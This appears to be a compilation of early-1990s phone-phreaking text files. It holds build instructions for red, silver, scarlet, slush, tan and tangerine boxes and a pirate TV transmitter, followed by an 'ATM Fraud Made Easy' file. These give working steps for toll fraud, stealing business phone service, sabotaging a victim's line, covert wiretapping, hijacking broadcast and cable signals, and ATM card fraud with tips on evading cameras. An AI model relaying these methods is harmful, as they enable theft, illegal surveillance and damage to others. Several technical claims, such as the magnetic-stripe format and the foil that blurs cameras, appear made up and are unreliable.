|
+ STEREO>| <------+ +---> |
+ |___________________________________|
+
+
+ Now some of the Benifits of this wonderful little device is that you can
+record conversations, at whatever volume you want, without those bothersome
+beeps the answering machines make. Or another fun thing is call up a Rodent
+Bridge and blast this thing with your stereo at full... Wala! The bridge
+will most likely be clear, even they won't sit through that shit. It is a
+good idea to hit Radio Shack for a project box and soderless curcuit board,
+because this can be messy and a project box can easily make you look like a
+pro. One more use for it is if your computer can generate tones to match a
+Box of some sort, this makes a GREAT amplifier for it, with almost no loss in
+clearity. If you have any problems with a humm or it intercepting radio
+transmittions, then call up good-old Bell and get a line static clearer dealy
+and splice that into the box via the outgoing line, which SHOULD clear it up.
+If that does not seem to help, try putting a 9v battery (you know, the square
+ones) on the red and green phone lines, because this will make up for the
+power the box drains from the line. Hope you enjoy the plans and Be watching
+for more from me! L8r...
+
+ The Video Vindicator
+
+
+
+
+5/09/91
+-----------------------=======< Sanctuary >=======-------------------------
+ Productions
+Presents.....
+
+(Reprinted, (c) 1990, 2600 Enterprises, Inc. Volume Seven, Number Three
+Autumn, 1990.)
+
+Typed by Havok Halcyon...
+
+ Converting a Tone Dialer into a Red Box
+ =======================================
+
+by Noah Clayton
+
+ A very simple modification to Radio Shack pocket tone dialer part #43-
+141 ($24.95) can make it into a red box. The modification consists of
+changing the crystal frequency used to generate the microprocessor's
+timing. To make this modification you will need a Phillips screwdriver, a
+flat bladed screwdriver, a soldering iron, a pair of long nose pliers, a
+pair of wire cutters and a 6.5536 MHz (megahertz) crystal.
+
+ Orient the dialer with the keypad down and the speaker at the top.
+Remove the battery compartment cover (and any batteries) to expose two
+screws. Remove these two screws and the two on the top of the dialer near
+the speaker. There are four plastic clips that are now holding the two
+halves of the dialer together. Push on the two bottom clips near th
+ebattery compartment and pull up to seperate the bottom part. Now slide a
+flat screwdriver into the seam on the left starting from the bottom and
+moving towards the top. (You may have to do this on th eright side as
+well.)
+
+ When the two halves separate, slide the speaker half underneath the
+other half while being careful not to break th tewires connecting thte two.
+Locate the cylindrical metallic can (it's about half an inch long and an
+eighth of an inch in diameter) and pull it away from the circuit board to
+break the glue that holds it in place. Unsolder this can, which is a
+3.579545 MHz crystal, from the circuit board.
+
+ The hard part of this modification is getting the new crystal to fit
+properly. Bend the three disk capacitors over,[And out of the way the best
+you can, making room for the new crystal. You may need to remove the screw
+in the way as well.] Since the 6.5536 MHz crystal is probably much bigger
+than the crystal you are replacing, you will need to bend the leads on the
+new crystal so that they will match up will the pads on the circuit board.
+Place the new crystal on the circuit board by soldering it in place. As an
+added touch you might peel he QC sticker off of the PC board and place it
+on top of the crystal. Now carefully snap the two halves back together
+while checking to make sure that none of the wires are getting pinched or
+are in the way of the screw holes. Put the case screws back ion and insert
+three AAA batteries into the battery compartment.
+
+ You dialer is now ready to test. Switch the unit on. The LED on th
+edial pad side should be lit. Set the lower slide switch to STORE mode.
+Press the MEMORY button on the dial pad. Press the * key five times.
+Press the MEMORY key again and then press the P1 key. A beep tone when any
+key is pressed and a long beep should sound after the P1 key has been
+pressed to indicate that the programming sequence was performed correctly.
+
+ Switch th eunit into DIAL mode. press the P1 key, and five tone
+pulses that sound remarkably like coin tones should come out of the
+speaker. I usually program P1 to be four quarters (insert one or two
+PAUSE's between each set of five tones), P2 to be two quarters, and P3 as
+one quarter.
+
+ Of course, you can no longer use the unit to generate touch tones.....
+
+REFERENCE
+
+ The crystal is available from Fry's Electronics in Freemont, CA for
+$0.89 plus the charge for UPS Red or Blue. Their number is 415-770-3763.
+I would suggest buying five, some for future use and some just in case you
+cut the leads too short when trying this project.
+
+
+
+ [/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/]
+ [ ]
+ [ Scarlet box plans ]
+ [ ----------------- ]
+ [ A High Mtn Hackerz Presentation ]
+ [ ]
+ [ Written & Created by: THE PIMP ]
+ [ ]
+ [/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/]
+
+
+ The purpose of a Scarlet box is to create a very bad conection, it can be
+used to crash a BBS or just make life miserable for those you seek to avenge.
+
+Materials: 2 aligator clips, 3 inch wire, or a resister
+
+(plain wire will create greatest amount of static)
+
+(Resister will decrease the amount of static in porportion to the resister you
+are useing)
+
+Step (1): Find the phone box at your victims house, and pop the cover off.
+
+Step (2): Find the two prongs that the phone line you wish to box are connected
+too.
+
+Step (3): Hook your aligator clips to your (wire/resister).
+
+Step (4): Find the lower middle prong and take off all wires connected to it, i
+think this disables the gound and call waiting and shit like that.
+
+Step (5): Now take one of the aligator clips and attach it to the upper most
+prong, and take the other and attach it to the lower middle prong.
+
+Step (6): Now put the cover back on the box and take off!!
+
+
+
+
+ ** ######## **
+ ** # #### # **
+ ######## /
+ # #### # /
+ ######## /
+ /
+ /
+ /
+ /
+ /
+ /
+ /
+ **/
+ **
+
+
+
+ ** **
+ ** **
+
+
+(**)= prongs
+ **
+
+(/) = (wire/resister)
+
+(##)= some phone bullshit
+
+
+ Created by (The Pimp)
+
+ S C R I B B L E V I S I O N
+
+ 11-MAY-90
+
+If you open the back of a TV, there's the neck of the picture tube sticking
+out the back. It has a 'yoke' around it that is made of two large
+saddle-shaped coils, usually of lacquered copper wire. Sometimes the coils are
+wrapped in tape or plastic or an insulation of some kind, but they're usually
+just copper.
+
+ _____
+ | \ Yoke (wraps around tube neck)
+ | \ =====
+ | \-----------\-|
+ | Picture Tube |-| (plug on END of tube neck remains connected)
+ | /-----------/-|
+ | / =====\
+ |_____/ Yoke \ Wires from YOKE to CHASSIS
+ \ (cut these and connect YOKE to STEREO)
+ \
+ \ (leave the CHASSIS end of the wires UNCONNECTED)
+ -------------------------
+| TV Chassis |
+ -------------------------
+
+
+OK. Sometimes there is a bundle of wires or a multi-wire cable that goes from
+the yoke coil to the chassis. (the yoke coil defects the light spot back and
+forth so that it scans out the TV picture. Check an encyclopedia or TV repair
+book at a library for illustrations or block diagrams etc. if this isn't
+clear) anyway, the yoke coil will be connected to the main chassis/circuitry
+of the TV set by several wires, sometimes there's a cable connector or
+multi-pin plug/socket arrangement on the end. What you have to do is
+disconnect ALL wires that lead from the chassis to the yoke coils (do this
+with the TV _OFF_ : HIGH VOLTAGE!!!). If the yoke wires have a connector,
+just unplug it from the chassis. If the yoke wires are soldered on to the
+chassis you will have to cut them. There will also be wires running from a
+plug/socket on the very end of the neck of the picture tube. Leave these
+connected - they are needed to warm up the picture tube so you get an image
+on the screen.
+
+Now, turn the tv on and carefully touch a pair of speaker wires connected to
+a playing stereo, (or just run a 9 volt battery over to the yoke wires) try
+out various pairs of wires until you see the spot of light that will be in
+the center of the TV picture (you have disabled scanning and should only see
+one dot on the face of the picture tube) uh, try connecting voltage or
+speaker audio into pairs of yoke wires until you have determined which two
+pair of wires move the dot vertically and which pair move it horizontally.
+You can use a mirror to watch the TV while fiddling about in back with the
+yoke wires. Once you have determined the vertical and horizontal pairs, just
+run a set of speaker wires from your stereo over to the yoke pairs and turn
+up the volume, and adjust the left-right balance until the music or radio you
+are listening to makes the screen scribble around and pulsate to the music.
+
+If you have an oscilloscope, it's even easier - just put the oscilloscope in
+X/Y mode and feed one channel of a walkman into the horizontal probe and the
+other channel (left/right channels here) into the vertical sweep probe. The
+oscilloscope will display a scribble of the music coming from the walkman.
+
+Old black and white TVs work better than color TVs for making scribble
+visions. The only requirement is that light appears on the screen when you
+turn on the TV set (that is, you can see the scanning pattern). You may have
+to adjust contrast and brightness to get the best scribble trace on the
+screen.
+
+If you are using a 'good' TV you might want to install DPDT switches to switch
+back and forth between scribble and normal TV modes. Make sure the DPDT
+switches isolate the chassis scanning signals from your stereo completely or
+you can blow things out.
+
+
+ This is a diagram of the contacts on the bottom of a DPDT switch.
+ Make two of these, one for the Left/Horizontal Yoke-to-Stereo
+ connections and one for the Right/Vertical Yoke-to-Stereo connections.
+ You only need to do this if you want to switch back and forth
+ between TV and Scribblevision modes. Make SURE the Chassis wires
+ will get connected to their original corresponding Yoke wires when
+ the switch is flipped.
+
+ |wire to Yoke Coil
+ |
+ ------o o o-----
+ wires from chassis wires from stereo
+ ------o o o-----
+ |
+ |wire to Yoke Coil
+
+
+You can also reverse the leads from the chassis to the yoke to make the TV
+display a mirror image or upside-down picture. Mirror reversal is convenient
+if you don't want to be forced to read adversizement graphics when they
+appear on the screen.
+
+Oh, if you watch a mono audio source in scribble-vision mode, you will just
+see a diagonal line instead of a full scribble pattern. You might have to
+adjust the tone controls on the stereo in a wierd way because bass sounds
+make larger patterns than treble sounds, but treble sounds produce more
+complex textures. Experiment around.
+ Outlaw
+ Telecommandos
+
+
+
+
+
+
+ HOW TO BUILD A SILVER BOX
+
+ MATERIALS : Soldering iron and solder
+ 22 ga. wire
+ SPDT switch
+ screwdriver
+
+ PROCEDURE
+
+1) Unscrew your phone (must be a touch tone, desk type)
+2) Remove the mounted pad and take the clear plastic cover from the bottom.
+3) Hold the pad with the numbers 0, *, # facing you, and turn it upside down,
+ so you can see the yellow pc board.
+4) You should see 2 black round doughnuts.
+5) Position the board so the solder points for the left doughnut face you.
+6) Count over four points from the left, and attach a (green) wire to that
+ point.
+7) Between you and the doughnuts, there should be 2 long yellow capacitors.
+ To the right of these, and on the edge of the board there should be 3 gold
+ contacts. We will use the one on the left.
+8) The contact originally is spot welded, so snip it open.
+9) To the one nearest you, attach a (red) wire; to the other one, a (yellow)
+ wire.
+10) Run the wires out of the phone, and solder the switch.
+11) The orientation should be (red) to center. The switch will now alternate
+ between normal and 1633hz fourth column tones.
+
+
+
+
+
+
+
+
+ _____________________________________
+ | |
+ | : : : : : : : : : : : : : : : |
+ | : /\/ew \/\/ave /-/acking : |
+ | : : : : : : : : : : : : : : : |
+ | |
+ | by: Dispater |
+ _____________________________________
+ /\/\/\/-/ /\/\/\/-/
+ 8/20/90 | | 8/20/90
+ | The Slush Box |
+ | |
+ |_____________________________________|
+
+
+
+
+ The slush box is currently under development by Master Zerez and
+ myself. When plans are complete, the Slush Box can be installed
+ at places of business that have the standard multi-line phones.
+ The box will be used on business phone systems like the "Com-Key"
+ or similar phones. Installation will be fairly simple, and take
+ just a couple of minutes to install. Here's how:
+
+ |
+ |
+ W |
+ a |
+ l | Big, fat 25-pair cable Connector from wall
+ l | \ ______________ /
+ |-------------------------/ \ /
+ |------------------------/ \
+ | |----------------|
+ | | Slush Box |
+ | |----------------| To any extension phone
+ | \ /-------------------------
+ | \______________/--------------------------
+ | /
+ | /
+ Connector on end of extension phone
+
+ These connectors are easy to find because nearly every desk in
+ the business has a phone, right? And behind every desk you'll
+ find one of these connectors. Just separate the connectors.
+ (You will need a small flat-blade screwdriver to loosen a screw on
+ each end) Then insert the Slush Box and make sure everything is
+ securely plugged in.
+
+ - THE SLUSH BOX IN THEORY -
+
+ It works basically like it was YOUR OWN extension of the business'
+ phone. The Box is powered from the phone's existing power. You
+ call the business' number (way after hours, of course!). After 25
+ rings, the Slush Box answers on Line 1. Nothing further happens
+ until you enter a password into the Box. (Something simple, like
+ "#" "5" ) The Slush Box then connects you to Line 2. Voila! You
+ have a nice dial tone. (On some systems you'll have to dial a "9"
+ to get the dial tone.) Well, after your first call from their
+ Line 2 you'll want to hang up Line 2 and make another call.
+ Simple. Just enter your password and you'll get dial tone again.
+ (Example: "#" "5" again) The Slush Box turns completely off if
+ you hang up from your end.
+
+ THIS FILE WILL BE UPDATED AS WE RECEIVE THE INFO WE NEED
+
+ So far, we know the electronics in the box will be kept to a
+ minimum. Circuits we need to work on:
+
+ 1. A circuit that can count rings (or count "flashes"
+ from a pin on the connector) then seize the line.
+ 2. A tone decoder circuit (preferably using Radio Shack's
+ Decoder Chip) that can hold a couple of password digits.
+ 3. Input from other phreakers to help keep this project going.
+
+
+
+ ADVANTAGES OF THIS KIND OF CIRCUIT
+
+ 1. It is easily installed in ANY multiline phone system.
+ 2. It works for ONLY you because it has a password.
+ 3. The more of these you install, the less you will use each
+ one, and the less chance of it being discovered.
+ 4. The phone company considers their responsibilities for checking
+ out lines to end at the phone box outside. It is unlikely that
+ a phone company employee would enter the premises and check for
+ the existence of such a circuit.
+ 5. The Slush Box is small and installed in an inconspicuous manner.
+
+ 6. If they even NOTICE the extra calls, they'll assume they're from:
+ (a) a billing error.
+ (b) a dishonest employee coming in after-hours to make calls.
+ (c) someone tapping into the phone line from OUTSIDE the
+ premises.
+
+
+ If you can help us get this finished contact Dispater. Thanks!
+
+
+
+
+
+ How to Build Your Own Underground
+ Television Transmitter
+ Using Commercially
+ Available
+ Parts
+
+
+ Yes, for some time now it has been possible to construct a clandestine
+television station, which you can operate from your Telecommando Lair, or modify
+for Mobile Media Guerrilla campaigns.
+
+ We have named this device the Snow Box, due to its cool nature, and the snow
+seen on blank television channels waiting to be commandeered.
+
+ To put together a TV station you will need this stuff:
+
+A VCR or Camcorder with video or RF outputs
+
+A Ham Radio 6-meter Band Linear amplifier
+ (This boosts the RF signal from the VCR for broadcasting)
+ (The Linear Amp should have a bandwidth of 6 MHz for best results)
+ A cable television RF distribution amplifier may also be used.
+
+Coaxial cable with UHF connectors
+ (Connects the Linear Amp to the Antenna)
+
+A cable-TV patch cable with an F-connector and a UHF connector
+ (To connect the RF signal to the Linear Amp)
+ (F-connectors are the small ones used with cable TV)
+ (UHF connectors are the large ones used for Ham Radio)
+
+If your VCR does not have RF outputs:
+ An external RF modulator (converts video to channel 3,6,12 etc.)
+ a cable with RCA connectors (a standard stereo cord is ok)
+
+A 6-meter Ham radio antenna.
+
+If you do not have a pre-made 6-meter antenna:
+ About 20 feet of strong wire
+ 3 ceramic antenna insulators
+ another UHF connector
+
+ Likely places to get the linear amplifier, connectors and cables is a
+Ham Radio swapmeet, a Ham club newsletter's classified ads, a Buy-Sell-Trade
+paper like The Recycler, or at a store specializing in Ham gear.
+RF modulators are available at specialty video stores, or major VCR dealers.
+
+Setting Up the Transmitter:
+
+ Using a VCR with RF out:
+
+[VCR/RF]F----------------------------U[Linear Amp]U------------U[Antenna]
+ weak RF Power RF
+
+ Using an External RF Modulator:
+
+[VCR]R-------R[RF Modulator]---------U[Linear Amp]U------------U[Antenna]
+ video weak RF Power RF
+
+Diagram Symbols:
+
+U UHF-connectors (Ham radio)
+F F-connectors (cable TV)
+R RCA connectors (stereos)
+--- coax, cables, wires
+[] devices (name of device in brackets)
+ ceramic insulator (the kind with a hole at each end)
+
+
+Building The Dipole Antenna:
+
+ wire wire
+---------------------++----------------------
+ | |
+ Short coax | |
+ [U] UHF connector
+
+The antenna is set up much like a clothesline with the wires tethered
+straight out horizontally. The outer insulators are used to isolate the
+antenna from the tether lines, which should be rope or nylon cords
+for good results. The inner insulator isolates a gap between the two
+long wires of the antenna.
+
+The length of the wires used for the antenna is critical.
+Look up the length in feet for the channel you want to use in the
+table below & make each of the two long wires that length.
+As a rule of thumb, a wire half-wave antenna's length in feet is equal to
+468 divided by the frequency in MHz.
+
+****************************************
+ VHF Television Channel Data
+----------------------------------------
+ TV MHz ---carrier--- antenna
+channel range video sound lengths
+------- ----- ----- ----- -------
+ 2 54-60 55.25 59.75 8.47ft
+ 3 60-66 61.25 65.75 7.64ft
+ 4 66-72 67.25 71.75 6.95ft
+ 5 76-82 77.25 81.75 6.05ft
+ 6 82-88 83.25 87.75 5.62ft
+ 7 174-180 175.25 179.75 2.67ft
+ 8 180-186 181.25 185.75 2.58ft
+ 9 186-192 187.25 191.75 2.49ft
+ 10 192-198 193.25 197.75 2.42ft
+ 11 198-204 199.25 193.75 2.34ft
+ 12 204-210 205.25 209.75 2.28ft
+ 13 210-216 211.25 215.75 2.21ft
+ (All frequencies in MHz)
+ (Lengths are for half-wave antennas)
+****************************************
+
+For Further information: Look in the ARRL Handbook published by the American
+Radio Relay League for detailed plans & theory for antennas, transmitters &
+linear amplifiers. The info in that book can be used for setting up an
+underground AM or FM radio station.
+
+Uses for a TV Clandestine Station:
+
+Public Education: Make a videotape of each step in the process of constructing
+your transmitter. Show this tape in your broadcasts, "For informational purposes
+only", of course.
+
+Short-burst zipping: From a fixed or mobile base of operation show short
+snippets of graffiti-like computer graphics, quick subliminal messages,
+images & suggestions, or brief phreaker manifestos. Commercials are an
+opportune time to break into TV broadcasts.
+
+Live call-in shows: Using a Cheese Box, or other device for receiving
+untraceable phone calls and a video camera do a live call-in show. Encourage
+people to call in using Red, Blue, and other phreaking boxes.
+
+Cable TV Piracy: With modifications it may be possible to feed the power RF
+signal directly into a cable TV system, overriding cablecasts or comandeering
+unused channels.
+
+Mobile Operation: Using storage batteries and a 110-volt inverter the
+transmitter may be modified for mobile use to avoid detection by the FCC during
+long broadcasts. Battery operated mobile linear amps and portable camcorders are
+also available.
+
+* Please add any anecdotes or new information you discover to this file *
+
+
+
+
+
+*****************************************************************************
+* The Tan Box *
+* *
+* *
+* Written by: *
+* *
+* Samurai Cat and Tarkin Darklighter *
+* *
+* *
+*****************************************************************************
+
+
+ Introduction
+ ------------
+
+ The Tan box allows you to make recordings from a phone line, and it will
+only record once the victim's phone is picked up.
+ Basically, this is a modified linesman's handset, or "Beige Box." For a
+copy of the Beige Box file, ask your friendly local sysop. A Beige Box
+consists of a speaker and two wires, a red (ring) and a green (tip). The Tan
+Box also works on this principle.
+
+
+ Construction
+ ------------
+
+Parts:
+
+A small cassette recorder, preferably a micro cassette recorder.
+ (It MUST have both a microphone jack and a remote jack)
+A single line recording control. (Radio Shack part number 43-228)
+2 alligator clips (Radio Shack number 270-374)
+A plastic box to contain the above parts (also available at Radio Shack)
+Tan or Black spray paint
+7/16 inch hex driver
+
+1. Take the recording control and cut the modular plug off. Make sure you
+ leave enough wire!
+
+2. Strip the red and green wires. (The yellow and black wires are not
+ necessary, and can be removed.)
+
+3. Drill a hole on the end of the plastic box (enough for two wires to go
+ through).
+
+4. Put the recording control in the box and run the red and green wires
+ through the hole. Attach one alligator clip to each of the wires.
+
+5. Put the micro cassette recorder in the box and plug the remote and
+ microphone wires from the recording control into it.
+
+6. Close the box.
+
+7. Spray paint the box and wires to make it look like it is supposed to be
+ where it is. (BE SURE YOU LABEL THE WIRES BEFORE YOU PAINT THEM!)
+
+
+ Installation
+ ------------
+
+
+ You can either hook it up to the box on the side of their house or a
+bridging head. Use the 7/16" hex driver to open either of these. (On older
+houses, you may not have to use a hex driver.) Attach the red wire to the
+right terminal and the green to the left. (Remember: Red-Ring-Right) If you
+attached the box to a bridging head, there may be room to leave it inside.
+If you attached it to the side of a house, run the wires out of their box and
+close it. Attach the Tan Box to the side of their house.
+ Make sure you come back and get the box pretty soon, or you may find it
+gone! Micro cassette recorders are not cheap!
+
+
+ Be careful, wiretapping is a felony (2-20 years, a $10,000 fine, or
+both), and various other laws may be broken (i.e., recording without the
+other party knowing it, etc.)
+
+
+ Ways to avoid being Beige/Tan Boxed
+ -----------------------------------
+
+
+ A tap detector may be purchased at Radio Shack (of course). If you do
+detect a tap, find the box, and you will have just gotten a new tape
+recorder!
+
+
+ Disclaimer
+ ----------
+
+ This file was written for informational purposes only, so the authors
+will not assume any responsiblity for either the use or construction of the
+Tan Box.
+
+
+
+
+
+ THE TANGERINE BOX
+ By Happy Harley
+
+First Off-This is fucking illegal so I would not try it at
+all. But have fun if you do, and BTW I assume no
+responsibilty for whatever the fuck you may do with this.
+
+
+Intro-A tangerine box is a box that inables you to plug it
+in, then listen to the conversation, without them hearing a
+click or anything...plus a jack for headphone, or tape.
+
+Parts:Modular Phone Conector
+Speaker
+Headphone Jack
+
+You can get these at your local Radio Shit, er Shack store...
+
+Here the plans, schamateic or whatever
+
+Key To symbols:
+ * *
+ =Modular Phone Jack, so does *.
+* *
+
+<==>=Speaker
+
+
+ V
+/Ý\=Head phone jack
+R=Red
+G=Green
+B=Black
+Y=Yellow, or sometimes white
+
+ YYYYYYYYYYYY
+ Y Y
+ YYYYYYYYYYYYYYY <==> Y
+ Y YY/ / YY
+ Y G Y
+ / /GGGGGGG GG Y
+ *Y *G G G Y
+ G G Y
+*R *B G\ Ý /
+ V
+
+Note=Just leave the Red&Black alone..
+
+Now, the speaker will be listening when ever the phone is
+plugged in, and when you plug a pair of headphone or a tape
+recorder into the Headphone jack, the speaker will
+automatically disable. Now have fun, and most
+importantly...DON'T GET CAUGHT
+
+
+
+
+Creating Portable Touchtone Keypads
+ (White Boxes)
+{{{{{{{{{{{{{{{{|}}}}}}}}}}}}}}}}}}}
+
+This bulletin describes how to take a s tandard touch tone
+keypad and convert it to a portable unit. In a ddition, I give
+the touch tone frequencies.
+
+First of all, the tones generated by a standard touch tone
+keypad (like one on a standard telephone) are not single tones,
+but a combination of two tones for each key pressed. Standard
+keypads normally generate 12 tone combinations, but are capable of
+generating 16 with a silver box mod.
+
+The power required by a keypad is about 25 volts, but they will
+work with as little as 15, thereby allowing the use of two 9-
+volt radio batteries. As you may have guessed, they are also
+designed to operate with a telephone type speaker (and phone
+line), and not the standard 8-ohm speaker which needs to be
+used for adequate volume. To accompolish this, we use a
+matching transformer, this is one of those miniature ones
+available at Radio Shack. Enough of the theory, now for the
+circuit.
+
+You will need:
+
+A touch tone keypad
+A miniature 1000 to 8 ohm transformer (Radio Shack # 273-1380)
+A standard 8-ohm speaker
+Two 9-volt radio batteries
+Two 9-volt battery clips
+A case to put it all in (optional)
+
+A few construction notes, I suggest that you solder and tape
+all connections. It is also important to read this entire
+bulletin before attempting to construct this.
+
+First, connect the RED wire of the transformer to either
+terminal on the speaker. Now connect the WHITE wire from the
+transformer to the other terminal on th e speaker. Next,
+connect the RED (positive) wire of one battery clip to the black
+wire of the other battery clip. Now connect the the remaining
+RED wire on the second battery clip to the GREEN wire from the
+touch tone pad. Connect the BLUE wire from the touch tone pad
+to the ORANGE-and-BLACK striped wire from the touch tone pad.
+To these two wires, now connect the remaining black lead from
+first battery clip. You have now finished the power connection
+to the keypad. Connect the BLACK wire from the keypad to the
+BLUE wire on the transformer. Next connect the RED-and-GREEN
+striped wire from the keypad to the GREEN wire on the
+transformer. The BLACK wire on the transformer should not be
+connected to anything, along with quite a few wires from the
+keypad. The connection of the keypad is now complete. All you
+ha ve to do is connect two nine volt batteries to the battery
+clips, and you'll be ready to go. You may want to mount it in a
+case for easy portability. Note that the silver box modification
+CAN be made to this unit, allowing complete remote phreaking.
+Wh en none of the buttons are pressed, this unit uses NO power,
+thereby eliminating the need for a power switch, and extending
+the life of the batteries.
+
+The following are the frequency combinations generated by each
+button on the keypad.
+
+ KEY FREQ. #1 FREQ. #2
+ --- -------- --------
+ 1 697 1209
+ 2 697 1336
+ 3 697 1477
+ A 697 1633
+
+ 4 770 1209
+ 5 770 1336
+ 6 770 1477
+ B 770 1633
+
+ 7 852 1209
+ 8 852 1336
+ 9 852 1477
+ C 852 1633
+
+ * 941 1209
+ 0 941 1336
+ # 941 1477
+ D 941 1633
+
+All frequencies are measured in Hertz Note that A,B,C and D are
+not normally present (except for silver boxes)
+
+
+
+(c) U.L.T.R.A. 1993
+U.L.T.R.A. #21 by Sinister X
+
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+china1.txt 7944
| CHINA #1: ATM Fraud Made Easy, by Count Zero
+ | china2.txt 4731
| CHINA #2: The Inward Operators
+ | china5.txt 6081
| CHINA #5: Pacific Bell's Corrupt Fun (August 16, 1989)
+ | china7.txt 9660
| CHINA #7: The Telephone Works by Egghead Dude
+ | china8.txt 2009
| CHINA: Rememberances of US Sprint
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| CHINA #1: ATM Fraud Made Easy, by Count Zero
+ | china2.txt 4731
| CHINA #2: The Inward Operators
+ | china5.txt 6081
| CHINA #5: Pacific Bell's Corrupt Fun (August 16, 1989)
+ | china7.txt 9660
| CHINA #7: The Telephone Works by Egghead Dude
+ | china8.txt 2009
| CHINA: Rememberances of US Sprint
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+ +-------------------------------+
+ | |
+ | A. T. M. Fraud Made Easy |
+ | |
+ | summary and research by |
+ | Count Zero |
+ | |
+ | (A CHiNA Info-Net Prod) |
+ | |
+ +-------------------------------+
+
+Have you ever looked longingly upon the sight of your local PULSE machine
+and thought, "There must be some way that I can make some money REAL easy
+here."?
+
+Well, there is. But it won't be easy. Protection methods can be overcome,
+but the technology involved must be understood IN ITS ENTIRETY before an
+attempt at illegal access is to be made. There are hundreds of people,
+guests of the state, that figured their plans infallible, only to fall
+victim to a well-hidden camera.
+
+This article will not be a lesson on HOW to break into the machine, it is
+merely a summary of the operations involved with a normal ATM transaction.
+This information is being presented on a "for information's sake"-only
+basis. I, Count Zero, do not promote nor remotely condone any illegal
+acts of any sort. So there.
+
+
+
+I. MAGNETIC STRIP FORMAT
+
+This would seem to be the most efficient method of trying to access illegal
+sums of cash. You could:
+
+ a. steal somebody's card and PIN code
+ b. synthesize a card
+ c. attempt to "jackpot" the system
+
+We will only look at option B. As "A" is up to your own devices and "C" has
+several good text files written about it already. So "B" it is.
+
+Let's look at the format of the data written to the magnetic strips. This
+has been taken from a recent HARTWELL, INC manual.
+
+[ XX XX XX XX XX XX XX XX ] [ YYYY ] [ - 20 CHARS - ] [ ZZ ZZ ZZ ] [ CC CC ]
+ \-----------------------/ \------/ \--------------/ \----------/ \-------/
+ Your individual acct. PIN Name of card Bank route CHKSUM
+ number/serial code Code issuee code/rem.
+ access #
+
+For validation, each entry is written twice but not written here for
+ease of typing. But it is repeated in the form of:
+"ACCT NUM" "ACCT NUM" "PIN CODE" "PIN CODE" etc...
+
+These codes may be examined by building a simple code-reader as many
+have done which can be easily interfaced to your IBM-PC. Full plans
+to be put into a future CHiNA newsletter.
+
+If you were to attempt to write a magnetic strip or change a currently
+existing one, you would need to be using a head-write circuit based on
+the popular Motorola BCX119221-A...C series of head control chips.
+
+NOTE: Make sure to change the last 2 values! They constitute the
+checksum of the entry.
+Merely add all existing characters written (only the first entry, not both
+of them) using the following chart:
+
+ CHARACTER VALUE
+ --------------------------------
+ 0..9 0..9
+ A..Z 10..36
+ EOL 37
+ EOT 38
+ CLR 39
+ HMX 40
+ PTT 41
+ RIA-1 42
+ RIA-2 43
+
+I doubt anyone in the communications biz needs an explanation of these terms
+so I'll move on.
+
+
+II. ATM HARDWARE
+
+Usually consists of:
+
+ ------------------------------------
+ | |
+\-----\ | B |
+| A | | |
+\-----\ ------------------------------------
+ | |
+ | ----------- /---/ E |
+ | / / / / ---- |
+ | / C / / D / F |
+ | / / / / ---- |
+ | ------------ /---/ |
+ | |
+ ------------------------------------
+
+
+A. Camera Mount
+B. Hidden Voice-Activated recorder & printout link
+C. Display Monitor
+D. Options buttons
+E. Card Slot
+F. Receipt Slot
+
+Your machine may vary slightly. But the concept will almost always hold true.
+Simple rules for each.
+
+A. Wear a paper bag or mask. See also Part II A
+B. Do NOT speak. This is the most crucial part! See also Part II A
+C. Nothing
+D. Wear gloves
+E. See Part I
+F. TAKE YOUR RECEIPT AND BURN IT!!
+
+One of the neat flaws in many machines made prior to 1989 involved the
+use of the "CANCEL" button. This button was made to be pressed when the
+user decided, at any time during the transaction, that he didn't wish
+to continue. The display would jump immediately to:
+
+"TRANSACTION CANCELLED - CHOOSE ANOTHER?"
+
+This was all well and good, but the machines did not disable this feature
+between the time your cash was dispensed and you were prompted for your
+next activity. In effect, you could push the "CANCEL" button after your
+money has been withdrawn and it would not be added to your account record!
+
+THIS STILL WORKS IN MANY PLACES! OVER 85% OF ALL MACHINES MADE BEFORE MAR. 1989
+STILL HAVE NOT BEEN UPGRADED.
+
+Although most machines of that period would only work if you were withdrawing
+amounts larger than $20 (usually $25 is the next possible choice!)
+This is ideal if you are using another's card!
+
+
+II A. CAMERA/SOUND HARDWARE
+
+You can go other routes when dealing with camera systems. You do not have
+to wear a bag on your head (unless the cosmetic improvement is quite large)
+Thin alloy metal such as common aluminum/tin foil, which are full of impurities,
+react in a bizarre way when photographed through the special lenses that are
+commonly used. The effect is to "blur" or "bleed" the image, rendering it
+indestinguishable from an accident in your local Sherwin-Williams store.
+Most people prefer to make a "headband" of this metal, lined with copper
+wire in a sine wave pattern when accosting a machine. You should
+seriously consider this possibility!
+For further reading on this subject, consult:
+
+ BANKER'S WORLD - Apr 1989
+ "Where Have All the Dollars Gone?"
+ pp 24-29
+
+ P. I. - Apr 1989
+ "The Last Straw"
+ pp 37-41 (p 38 in particular has a nice
+ diagram. Fig 1)
+
+
+Sounds, these articles also suggest an indirect method of dealing with the
+voice-activated recording device. Oddly, a pure square wave tone (roughly
+around 3100 hz) will cause a major screwup in the sound-sensing abilities
+of the recorder. It usually will have to be replaced. Suggested volume,
+given at 6" range is 8.5+ db. Obviously, anything louder will do.
+
+An interesting side-note is that this has become a past-time of suburban
+teenagers!
+
+Well, hope this gets you started! More will be coming in the next
+exciting file!
+
+---------------------------> OVER AND OUT! -----------> COUNT ZERO
+
+HAHAHAHA NAPPA IS A BUNCH OF FLY-BY-NIGHT LOSERS, EH CONFLICT?!
+
+Call us on:
+
+ HYPERCARD BBS (406) 538-2101
+ 1200/2400 BAUD
+(CHiNA Node #3) SYSOP: GEORGE VON JUNGLE
+
+
+ FAWLTY TOWERS (202) 781-6420
+ 2400 BAUD ONLY
+(CHiNA Node #9) SYSOP: BASIL FAWLTY
+
+A big hello to:
+ Rubix the Cube, The Conflict, Monalisa Overdrive
+
+
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+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+ CHiNA Info-File : The 'Inward' Operators
+
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+ Well folks here is another file in the educational series of our releases.
+Look for more files from The Egghead Dude, Mr. X and The Viper in the next
+couple of weeks.
+
+
+
+
+The Telephone concept of Inward is one of the things that modernization of the
+network has essentially ended.
+
+Back in the days when lots of calls were operator handled, the Inward operator
+was the operator who answered jacks labelled "Inward" on her position. In
+some towns, this might be the same operator as the "Coin Collect" operator,
